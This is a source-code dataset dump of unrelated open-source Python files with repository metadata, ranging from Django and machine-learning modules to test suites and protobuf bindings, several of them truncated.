import os from django.core.wsgi import get_wsgi_application os.environ.setdefault("DJANGO_SETTINGS_MODULE", "CTForces.settings") application = get_wsgi_application()
true
true
f7262f94e75074ce3f184e5fc532f018ccd981b9
1,224
py
Python
6.0-expresiones-regulares/src/spider.py
zehemz/clases-python-101
633cb5f0cbc85e64e242514f0394754a5bed0513
[ "Apache-2.0" ]
null
null
null
6.0-expresiones-regulares/src/spider.py
zehemz/clases-python-101
633cb5f0cbc85e64e242514f0394754a5bed0513
[ "Apache-2.0" ]
null
null
null
6.0-expresiones-regulares/src/spider.py
zehemz/clases-python-101
633cb5f0cbc85e64e242514f0394754a5bed0513
[ "Apache-2.0" ]
null
null
null
''' Created on Jul 27, 2016 @author: zehemz ''' from lxml import html from lxml import etree from io import StringIO, BytesIO from copy import deepcopy import requests import re import pickle def writeList(list): file = open("websScrapeadas.txt", "wb") for element in list: file.write(element+ '\n') ...
21.473684
58
0.631536
from lxml import html from lxml import etree from io import StringIO, BytesIO from copy import deepcopy import requests import re import pickle def writeList(list): file = open("websScrapeadas.txt", "wb") for element in list: file.write(element+ '\n') file.close() BASE_URL = 'http://www.clarin.com...
true
true
f7263292ff3ace28bdfe5eb80b3b1e74c3e9814c
945
py
Python
commands/help.py
DevStrikerTech/Clash-of-Clans-Band-Bot
472c12feeefe053247458c133ee822b16e7537e1
[ "MIT" ]
19
2021-01-17T02:09:42.000Z
2021-01-27T00:49:42.000Z
commands/help.py
DevStrikerTech/Clash-of-Clans-Band-Bot
472c12feeefe053247458c133ee822b16e7537e1
[ "MIT" ]
null
null
null
commands/help.py
DevStrikerTech/Clash-of-Clans-Band-Bot
472c12feeefe053247458c133ee822b16e7537e1
[ "MIT" ]
20
2021-01-26T19:24:23.000Z
2022-03-10T14:02:49.000Z
from routes.band import write_comment class Help: def __init__(self, get_all_post): self.get_all_post = get_all_post self.help_information() def help_information(self): get_all_post = self.get_all_post post_response_content = get_all_post['result_data']['items'] for i...
39.375
94
0.538624
from routes.band import write_comment class Help: def __init__(self, get_all_post): self.get_all_post = get_all_post self.help_information() def help_information(self): get_all_post = self.get_all_post post_response_content = get_all_post['result_data']['items'] for i...
true
true
f726331ddb1b01708d32c521d8e3e991bbc3909a
2,338
py
Python
kubragen2/build.py
RangelReale/kubragen2
2118f1429a9b9da937582db1f41d4f12b78773e2
[ "MIT" ]
1
2022-02-14T07:31:57.000Z
2022-02-14T07:31:57.000Z
kubragen2/build.py
RangelReale/kubragen2
2118f1429a9b9da937582db1f41d4f12b78773e2
[ "MIT" ]
null
null
null
kubragen2/build.py
RangelReale/kubragen2
2118f1429a9b9da937582db1f41d4f12b78773e2
[ "MIT" ]
null
null
null
import copy from typing import Any, MutableMapping, MutableSequence, Union from .data import DataGetValue, Data, BaseData from .exception import InvalidOperationError class DataBuilder: def build_prop(self, data: Union[MutableMapping, MutableSequence], key: Any) -> None: """ Cleanup instances of ...
37.709677
117
0.60864
import copy from typing import Any, MutableMapping, MutableSequence, Union from .data import DataGetValue, Data, BaseData from .exception import InvalidOperationError class DataBuilder: def build_prop(self, data: Union[MutableMapping, MutableSequence], key: Any) -> None: if isinstance(data[key], BaseData...
true
true
f72633913ec545cd03a516a113ee6f370da07cd3
663
py
Python
blogsrc/manage.py
mesutcifci/personal-blog
11fca60e1dc628617c00bb01d55d2fac71d60603
[ "MIT" ]
1
2020-12-12T01:02:56.000Z
2020-12-12T01:02:56.000Z
blogsrc/manage.py
mesutcifci/personal-blog
11fca60e1dc628617c00bb01d55d2fac71d60603
[ "MIT" ]
null
null
null
blogsrc/manage.py
mesutcifci/personal-blog
11fca60e1dc628617c00bb01d55d2fac71d60603
[ "MIT" ]
1
2020-12-11T08:50:14.000Z
2020-12-11T08:50:14.000Z
#!/usr/bin/env python """Django's command-line utility for administrative tasks.""" import os import sys def main(): """Run administrative tasks.""" os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'blogsrc.settings') try: from django.core.management import execute_from_command_line except Impo...
28.826087
73
0.678733
import os import sys def main(): os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'blogsrc.settings') try: from django.core.management import execute_from_command_line except ImportError as exc: raise ImportError( "Couldn't import Django. Are you sure it's installed and " ...
true
true
f726350f5bcbf20607a3fc3fd9daee81853b87c0
5,551
py
Python
enaml/qt/qt_color_dialog.py
pberkes/enaml
cbcbee929e3117dfe56c0b06dc2385acc832b0e8
[ "BSD-3-Clause-Clear" ]
11
2015-03-14T14:30:51.000Z
2022-03-15T13:01:44.000Z
enaml/qt/qt_color_dialog.py
pberkes/enaml
cbcbee929e3117dfe56c0b06dc2385acc832b0e8
[ "BSD-3-Clause-Clear" ]
3
2015-01-31T11:12:56.000Z
2022-03-14T00:53:25.000Z
enaml/qt/qt_color_dialog.py
pberkes/enaml
cbcbee929e3117dfe56c0b06dc2385acc832b0e8
[ "BSD-3-Clause-Clear" ]
4
2015-01-27T01:56:14.000Z
2021-02-23T07:21:20.000Z
#------------------------------------------------------------------------------ # Copyright (c) 2013, Nucleic Development Team. # # Distributed under the terms of the Modified BSD License. # # The full license is in the file COPYING.txt, distributed with this software. #-------------------------------------------------...
30.168478
79
0.558278
from atom.api import Int, Typed from enaml.colors import Color from enaml.widgets.color_dialog import ProxyColorDialog from .QtCore import Signal from .QtGui import QColor, QColorDialog from .qt_toolkit_dialog import QtToolkitDialog def color_from_qcolor(q): if not q.isValid(): return None r...
true
true
f726390a2fc316670d945fcf0adc8da8f7980de8
5,007
py
Python
JSONLibrary/JSONLibraryKeywords.py
Rezzas/robotframework-jsonlibrary
d0db2b20f729e69e37364527ae60f7be22dff1d4
[ "Unlicense" ]
null
null
null
JSONLibrary/JSONLibraryKeywords.py
Rezzas/robotframework-jsonlibrary
d0db2b20f729e69e37364527ae60f7be22dff1d4
[ "Unlicense" ]
null
null
null
JSONLibrary/JSONLibraryKeywords.py
Rezzas/robotframework-jsonlibrary
d0db2b20f729e69e37364527ae60f7be22dff1d4
[ "Unlicense" ]
null
null
null
# -*- coding: utf-8 -*- import json import os.path from robot.api import logger from robot.api.deco import keyword from jsonpath_rw import Index, Fields #from jsonpath_rw_ext import parse from jsonpath_ng.ext import parse from .version import VERSION __author__ = 'Traitanit Huangsri' __email__ = 'traitanit.hua@gmail.c...
32.512987
113
0.607749
import json import os.path from robot.api import logger from robot.api.deco import keyword from jsonpath_rw import Index, Fields from jsonpath_ng.ext import parse from .version import VERSION __author__ = 'Traitanit Huangsri' __email__ = 'traitanit.hua@gmail.com' __version__ = VERSION class JSONLibraryKeywords(obj...
true
true
f7263995555ef87a94a1d3d6fc18898696a9f9f5
4,522
py
Python
plugin/entity/zettel.py
tbouska/mkdocs-zettelkasten
3638ee8028462e98aa088dd075a929e11f6fe882
[ "MIT" ]
null
null
null
plugin/entity/zettel.py
tbouska/mkdocs-zettelkasten
3638ee8028462e98aa088dd075a929e11f6fe882
[ "MIT" ]
7
2021-11-25T07:59:16.000Z
2021-11-29T18:37:29.000Z
plugin/entity/zettel.py
tbouska/mkdocs-zettelkasten
3638ee8028462e98aa088dd075a929e11f6fe882
[ "MIT" ]
null
null
null
import datetime import os import re import yaml from pathlib import Path from plugin.patterns import WIKI_LINK, MD_LINK from plugin.gitutil import GitUtil class Zettel: def __init__(self, abs_src_path): self.id = 0 self.title = "" self.path = abs_src_path self.backlinks = [] ...
31.84507
88
0.534277
import datetime import os import re import yaml from pathlib import Path from plugin.patterns import WIKI_LINK, MD_LINK from plugin.gitutil import GitUtil class Zettel: def __init__(self, abs_src_path): self.id = 0 self.title = "" self.path = abs_src_path self.backlinks = [] ...
true
true
f72639a5ff51641e1d986f7c27245a78928e246f
4,440
py
Python
src/utils/data_loader.py
TheBlueHawk/RANLP21-70
3d329a6d385fac4e8664cb1bb88a29411befb767
[ "MIT" ]
null
null
null
src/utils/data_loader.py
TheBlueHawk/RANLP21-70
3d329a6d385fac4e8664cb1bb88a29411befb767
[ "MIT" ]
null
null
null
src/utils/data_loader.py
TheBlueHawk/RANLP21-70
3d329a6d385fac4e8664cb1bb88a29411befb767
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # @Author : William # @Project : TextGAN-william # @FileName : data_loader.py # @Time : Created at 2019-05-31 # @Blog : http://zhiweil.ml/ # @Description : # Copyrights (C) 2018. All Rights Reserved. import random from torch.utils.data import Dataset, DataLoader...
33.89313
100
0.611486
import random from torch.utils.data import Dataset, DataLoader from utils.text_process import * class GANDataset(Dataset): def __init__(self, data): self.data = data def __getitem__(self, index): return self.data[index] def __len__(self): return len(self.data) class G...
true
true
f7263b27e2f8e5f7ffa8f4a9687f2edbb569a9d1
598
py
Python
plotly/validators/mesh3d/colorbar/tickfont/_family.py
gnestor/plotly.py
a8ae062795ddbf9867b8578fe6d9e244948c15ff
[ "MIT" ]
12
2020-04-18T18:10:22.000Z
2021-12-06T10:11:15.000Z
plotly/validators/mesh3d/colorbar/tickfont/_family.py
gnestor/plotly.py
a8ae062795ddbf9867b8578fe6d9e244948c15ff
[ "MIT" ]
27
2020-04-28T21:23:12.000Z
2021-06-25T15:36:38.000Z
plotly/validators/mesh3d/colorbar/tickfont/_family.py
gnestor/plotly.py
a8ae062795ddbf9867b8578fe6d9e244948c15ff
[ "MIT" ]
6
2020-04-18T23:07:08.000Z
2021-11-18T07:53:06.000Z
import _plotly_utils.basevalidators class FamilyValidator(_plotly_utils.basevalidators.StringValidator): def __init__( self, plotly_name='family', parent_name='mesh3d.colorbar.tickfont', **kwargs ): super(FamilyValidator, self).__init__( plotly_name=plotly_...
28.47619
68
0.602007
import _plotly_utils.basevalidators class FamilyValidator(_plotly_utils.basevalidators.StringValidator): def __init__( self, plotly_name='family', parent_name='mesh3d.colorbar.tickfont', **kwargs ): super(FamilyValidator, self).__init__( plotly_name=plotly_...
true
true
f7263ccf5a3a003b21440cf38813ca5d254016b4
15,637
py
Python
meshrcnn/modeling/roi_heads/roi_heads.py
hsk9767/mesh_rcnn_copy
6dd4d9ea8af33c03a084e34c7d16eeaddfe924ae
[ "BSD-3-Clause" ]
7
2020-03-06T20:49:36.000Z
2022-03-09T11:09:31.000Z
meshrcnn/modeling/roi_heads/roi_heads.py
hsk9767/mesh_rcnn_copy
6dd4d9ea8af33c03a084e34c7d16eeaddfe924ae
[ "BSD-3-Clause" ]
null
null
null
meshrcnn/modeling/roi_heads/roi_heads.py
hsk9767/mesh_rcnn_copy
6dd4d9ea8af33c03a084e34c7d16eeaddfe924ae
[ "BSD-3-Clause" ]
2
2020-04-14T02:14:25.000Z
2020-05-06T14:35:41.000Z
# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved from typing import Dict import torch from detectron2.layers import ShapeSpec, cat from detectron2.modeling import ROI_HEADS_REGISTRY from detectron2.modeling.poolers import ROIPooler from detectron2.modeling.roi_heads.fast_rcnn import FastRCNNOutput...
42.841096
105
0.616039
from typing import Dict import torch from detectron2.layers import ShapeSpec, cat from detectron2.modeling import ROI_HEADS_REGISTRY from detectron2.modeling.poolers import ROIPooler from detectron2.modeling.roi_heads.fast_rcnn import FastRCNNOutputLayers, FastRCNNOutputs from detectron2.modeling.roi_heads.roi_heads i...
true
true
f7263d929de143ba1a7546baa19c897e7ec8745c
18,460
py
Python
cybergis_compute_client/CyberGISCompute.py
alexandermichels/cybergis-compute-python-sdk
6e7790a627368d0031582fe44a58fdb514868950
[ "Apache-2.0" ]
null
null
null
cybergis_compute_client/CyberGISCompute.py
alexandermichels/cybergis-compute-python-sdk
6e7790a627368d0031582fe44a58fdb514868950
[ "Apache-2.0" ]
null
null
null
cybergis_compute_client/CyberGISCompute.py
alexandermichels/cybergis-compute-python-sdk
6e7790a627368d0031582fe44a58fdb514868950
[ "Apache-2.0" ]
null
null
null
""" This module exposes CyberGISCompute class which creates a CyberGISCompute object that serves as an entry point to the CyberGISX environment from a Python/Jupyter notebook. All interactions with the High Performance Computing (HPC) backend are performed using this object. Example: cybergis = CyberGISCompute...
41.483146
224
0.551842
from .Client import * from .Job import * from .UI import * import base64 import os from IPython.display import display, Markdown, Javascript class CyberGISCompute: jupyterhubHost = None job = None def __init__(self, url="cgjobsup.cigi.illinois.edu", port=443, protocol='HTTPS', suffix="", isJupyter...
true
true
f7263dc3cc4e9a52a26c9b3cc1c629cd0270750c
5,184
py
Python
cvat/apps/dataset_manager/tests/test_annotation.py
TOsmanov/cvat
71f94afd769d84c3fb3e3c720e26d927a47bb27b
[ "Intel", "MIT" ]
1
2019-12-09T13:53:36.000Z
2019-12-09T13:53:36.000Z
cvat/apps/dataset_manager/tests/test_annotation.py
TOsmanov/cvat
71f94afd769d84c3fb3e3c720e26d927a47bb27b
[ "Intel", "MIT" ]
null
null
null
cvat/apps/dataset_manager/tests/test_annotation.py
TOsmanov/cvat
71f94afd769d84c3fb3e3c720e26d927a47bb27b
[ "Intel", "MIT" ]
null
null
null
# Copyright (C) 2020 Intel Corporation # # SPDX-License-Identifier: MIT from cvat.apps.dataset_manager.annotation import TrackManager from unittest import TestCase class TrackManagerTest(TestCase): def _check_interpolation(self, track): interpolated = TrackManager.get_interpolated_shapes(track, 0, 7) ...
30.494118
72
0.342593
from cvat.apps.dataset_manager.annotation import TrackManager from unittest import TestCase class TrackManagerTest(TestCase): def _check_interpolation(self, track): interpolated = TrackManager.get_interpolated_shapes(track, 0, 7) self.assertEqual(len(interpolated), 6) self.assertTrue...
true
true
f7263deac95f43b73909d3038f4d4488fa2639d4
997
py
Python
Part-03-Understanding-Software-Crafting-Your-Own-Tools/models/edx-platform/lms/djangoapps/bulk_email/migrations/0006_course_mode_targets.py
osoco/better-ways-of-thinking-about-software
83e70d23c873509e22362a09a10d3510e10f6992
[ "MIT" ]
3
2021-12-15T04:58:18.000Z
2022-02-06T12:15:37.000Z
Part-03-Understanding-Software-Crafting-Your-Own-Tools/models/edx-platform/lms/djangoapps/bulk_email/migrations/0006_course_mode_targets.py
osoco/better-ways-of-thinking-about-software
83e70d23c873509e22362a09a10d3510e10f6992
[ "MIT" ]
null
null
null
Part-03-Understanding-Software-Crafting-Your-Own-Tools/models/edx-platform/lms/djangoapps/bulk_email/migrations/0006_course_mode_targets.py
osoco/better-ways-of-thinking-about-software
83e70d23c873509e22362a09a10d3510e10f6992
[ "MIT" ]
1
2019-01-02T14:38:50.000Z
2019-01-02T14:38:50.000Z
from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('course_modes', '0007_coursemode_bulk_sku'), ('bulk_email', '0005_move_target_data'), ] operations = [ migrations.CreateModel( name='CourseModeTarget', fields...
38.346154
214
0.609829
from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('course_modes', '0007_coursemode_bulk_sku'), ('bulk_email', '0005_move_target_data'), ] operations = [ migrations.CreateModel( name='CourseModeTarget', fields...
true
true
f7263e61252a6c08d784082742fd67b173531d8d
195
py
Python
examples/PythonToDo/models/domain_objects/UserModel.py
PqES/ArchPython
142b02f2c7fff9a3fb375a338af2de2e688f4004
[ "MIT" ]
6
2020-07-13T23:41:49.000Z
2022-02-01T21:02:46.000Z
examples/PythonToDo/models/domain_objects/UserModel.py
LimaEduardo/ArchPython
5a81d0c79d7933f06c26175b1958d604b4c248df
[ "MIT" ]
null
null
null
examples/PythonToDo/models/domain_objects/UserModel.py
LimaEduardo/ArchPython
5a81d0c79d7933f06c26175b1958d604b4c248df
[ "MIT" ]
1
2020-09-07T13:04:25.000Z
2020-09-07T13:04:25.000Z
class UserModel: def __init__(self, name = None, login = None, password = None): self.id = None self.name = name self.login = login self.password = password
21.666667
67
0.584615
class UserModel: def __init__(self, name = None, login = None, password = None): self.id = None self.name = name self.login = login self.password = password
true
true
f7263f6c62c388fe49d7af215f78c0b7c0576dd0
191
py
Python
chatbot_tutorial/urls.py
abdulmuizzf/django-bot-server-tutorial
3f9d69bb848ed70e664503aac2c968416b7a891d
[ "MIT" ]
null
null
null
chatbot_tutorial/urls.py
abdulmuizzf/django-bot-server-tutorial
3f9d69bb848ed70e664503aac2c968416b7a891d
[ "MIT" ]
null
null
null
chatbot_tutorial/urls.py
abdulmuizzf/django-bot-server-tutorial
3f9d69bb848ed70e664503aac2c968416b7a891d
[ "MIT" ]
null
null
null
from django.conf.urls import include from django.urls import path from django.contrib import admin urlpatterns = [ path('', include('chat.urls')), path('admin/', admin.site.urls), ]
21.222222
36
0.706806
from django.conf.urls import include from django.urls import path from django.contrib import admin urlpatterns = [ path('', include('chat.urls')), path('admin/', admin.site.urls), ]
true
true
f7263fda03fe7c55336dc033a79f684a23583ecb
3,647
py
Python
circular_cylinder/figures/plot.py
J-Massey/postproc
4552b0ad79072f5d217cf62632c08617ea3d2d82
[ "MIT" ]
null
null
null
circular_cylinder/figures/plot.py
J-Massey/postproc
4552b0ad79072f5d217cf62632c08617ea3d2d82
[ "MIT" ]
null
null
null
circular_cylinder/figures/plot.py
J-Massey/postproc
4552b0ad79072f5d217cf62632c08617ea3d2d82
[ "MIT" ]
null
null
null
import matplotlib.pyplot as plt import seaborn as sns import numpy as np from itertools import product import os from mpl_toolkits.axes_grid1 import make_axes_locatable from matplotlib import ticker, cm from mpl_toolkits.axes_grid1 import make_axes_locatable from matplotlib.ticker import FormatStrFormatter from matplot...
34.084112
111
0.619139
import matplotlib.pyplot as plt import seaborn as sns import numpy as np from itertools import product import os from mpl_toolkits.axes_grid1 import make_axes_locatable from matplotlib import ticker, cm from mpl_toolkits.axes_grid1 import make_axes_locatable from matplotlib.ticker import FormatStrFormatter from matplot...
true
true
f7263ff6a3d742c589e550267ff561f470351035
36,853
py
Python
python/istio_api/mesh/v1alpha1/config_pb2.py
selmanj/api
6166b45d34e2ef8915225b2f849855b5d28fc4f9
[ "Apache-2.0" ]
null
null
null
python/istio_api/mesh/v1alpha1/config_pb2.py
selmanj/api
6166b45d34e2ef8915225b2f849855b5d28fc4f9
[ "Apache-2.0" ]
null
null
null
python/istio_api/mesh/v1alpha1/config_pb2.py
selmanj/api
6166b45d34e2ef8915225b2f849855b5d28fc4f9
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- # Generated by the protocol buffer compiler. DO NOT EDIT! # source: mesh/v1alpha1/config.proto import sys _b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1')) from google.protobuf.internal import enum_type_wrapper from google.protobuf import descriptor as _descriptor from...
52.57204
4,551
0.7674
import sys _b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1')) from google.protobuf.internal import enum_type_wrapper from google.protobuf import descriptor as _descriptor from google.protobuf import message as _message from google.protobuf import reflection as _reflection from google.protobu...
true
true
f72640bdf780be7bf1cfaf80fbf1f6bf7bf0616f
1,758
py
Python
fairseq/modules/fairseq_dropout.py
zhengzx-nlp/REDER
7035e089e4d30b8090a2c3caa937b1e0ba27cedc
[ "MIT" ]
18
2021-11-14T06:34:26.000Z
2022-03-19T07:18:08.000Z
fairseq/modules/fairseq_dropout.py
zhengzx-nlp/REDER
7035e089e4d30b8090a2c3caa937b1e0ba27cedc
[ "MIT" ]
1
2021-12-03T07:23:36.000Z
2021-12-10T08:32:36.000Z
fairseq/modules/fairseq_dropout.py
zhengzx-nlp/REDER
7035e089e4d30b8090a2c3caa937b1e0ba27cedc
[ "MIT" ]
2
2021-12-10T14:20:09.000Z
2022-01-08T09:39:27.000Z
# Copyright (c) Facebook, Inc. and its affiliates. # # This source code is licensed under the MIT license found in the # LICENSE file in the root directory of this source tree. import logging from typing import List, Optional import torch.nn as nn import torch.nn.functional as F logger = logging.getLogger(__name__)...
31.392857
83
0.600683
import logging from typing import List, Optional import torch.nn as nn import torch.nn.functional as F logger = logging.getLogger(__name__) class FairseqDropout(nn.Module): def __init__(self, p, module_name=None): super().__init__() self.p = p self.module_name = module_name ...
true
true
f726415ccf6a26910901b63bb701354b030b9ab9
4,077
py
Python
qa/rpc-tests/test_script_address2.py
jalcantara1983/atixcoin
d3e941bf1dd911c224bb66a3e82bfecf1a5fefe6
[ "MIT" ]
null
null
null
qa/rpc-tests/test_script_address2.py
jalcantara1983/atixcoin
d3e941bf1dd911c224bb66a3e82bfecf1a5fefe6
[ "MIT" ]
null
null
null
qa/rpc-tests/test_script_address2.py
jalcantara1983/atixcoin
d3e941bf1dd911c224bb66a3e82bfecf1a5fefe6
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # Copyright (c) 2015-2016 The Bitcoin Core developers # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. # # Test new Atixcoin multisig prefix functionality. # from test_framework.test_framework import Bitcoin...
40.366337
93
0.649497
from test_framework.test_framework import BitcoinTestFramework from test_framework.util import * import decimal class ScriptAddress2Test(BitcoinTestFramework): def __init__(self): super().__init__() self.num_nodes = 3 self.setup_clean_chain = False def setup_network(self): ...
true
true